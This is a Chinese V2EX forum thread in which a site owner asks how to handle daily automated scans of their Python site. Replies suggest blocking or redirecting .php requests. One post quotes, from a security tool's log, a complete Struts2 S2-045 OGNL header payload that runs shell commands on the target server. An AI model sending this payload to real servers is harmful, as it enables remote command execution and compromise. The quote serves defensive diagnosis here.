xiayibu
V2EX  ›  问与答

自己刚做好的 Python 网站每天都被人当作 PHP 网站注入攻击,怎么办

  •  
  •   xiayibu · Aug 26, 2017 · 5415 views
    This topic created in 3183 days ago, the information mentioned may be changed or developed.
    18 replies    2017-09-18 14:36:00 +08:00
    10467106
        1
    10467106  
       Aug 26, 2017 via iPhone
    可以关站
    UnisandK
        2
    UnisandK  
       Aug 26, 2017
    自动扫描的吧
    ETiV
        3
    ETiV  
       Aug 26, 2017 via iPhone
    可能没人蓄意攻击你,都是自动扫的

    可以把\.php$的日志关了
    wwqgtxx
        4
    wwqgtxx  
       Aug 26, 2017 via iPhone
    在前端( nginx )上直接把所有.php 返回 503 就好了
    xiayibu
        5
    xiayibu  
    OP
       Aug 26, 2017
    安全狗提示这种攻击
    拦截原因: HTTP 头部字段:HTTP_CONTENT-TYPE 包含内容:{(#Normal='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    fzleee
        6
    fzleee  
       Aug 26, 2017 via iPhone
    redirect 到某些不可访问的网站
    jugelizi
        7
    jugelizi  
       Aug 26, 2017
    很正常
    我 java 站每天海内外的 php 请求
    php 站的 asp 请求
    Felldeadbird
        8
    Felldeadbird  
       Aug 26, 2017 via iPhone
    这种都是脚本批量检测的。
    ferock
        9
    ferock  
    PRO
       Aug 26, 2017
    告诉对方,你的网站不是 php !
    Sanko
        10
    Sanko  
       Aug 26, 2017 via Android   ❤️ 1
    HttpResponse('哈麻批劳资是 python')
    zingl
        11
    zingl  
       Aug 27, 2017
    向 ip 拥有者举证投诉
    ysc3839
        12
    ysc3839  
       Aug 27, 2017 via Android   ❤️ 1
    听说过这样事,静态站,总有人扫 php,于是站长就把 php 全都重定向到一个很大的文件,比如 VPS 的测速文件。
    KgM4gLtF0shViDH3
        13
    KgM4gLtF0shViDH3  
       Aug 27, 2017 via Android
    可能是新手在学 sqlmap ?
    safedogcc
        14
    safedogcc  
       Aug 27, 2017 via iPad
    @ysc3839 #12
    好办法👍
    我已经想好,就 301 到*.G0V 。C/n 好了 /斜脸
    kylinking
        15
    kylinking  
       Aug 27, 2017 via iPhone
    @xiayibu 这不是 PHP 注入攻击,而是针对前段时间的 S2-045 漏洞,一般都是批量扫描的,发现有漏洞后会下载一些挖矿样本或者 DDoS 程序。
    fcka
        16
    fcka  
       Aug 27, 2017 via Android
    看看来源 ip,可能是阿里云的云盾干的……
    bearqq
        17
    bearqq  
       Aug 27, 2017
    @application.route('<p:re:.*>')
    def other(p):
    if ('php' in request.environ.get('bottle.raw_path')) or (request.environ.get('REMOTE_ADDR') in config.blacklist):
    return redirect('http://cachefly.cachefly.net/100mb.test')
    else:
    abort(404)
    xinxin9527
        18
    xinxin9527  
       Sep 18, 2017
    应该是自动扫描的,现在好多平台不间断的在全网扫描漏洞,并收入漏洞库,存在这种可能性。
    只要不影响主站访问,也倒没有什么,但如果题主看着觉得糟心,可以使用云防御来防护也是不错的。
    比如:知道创宇抗 D 保、百度云加速、前期网站访问量小,可以使用免费套餐的就够用了哈
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1184 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 62ms · UTC 23:26 · PVG 07:26 · LAX 16:26 · JFK 19:26
    ♥ Do have faith in what you're doing.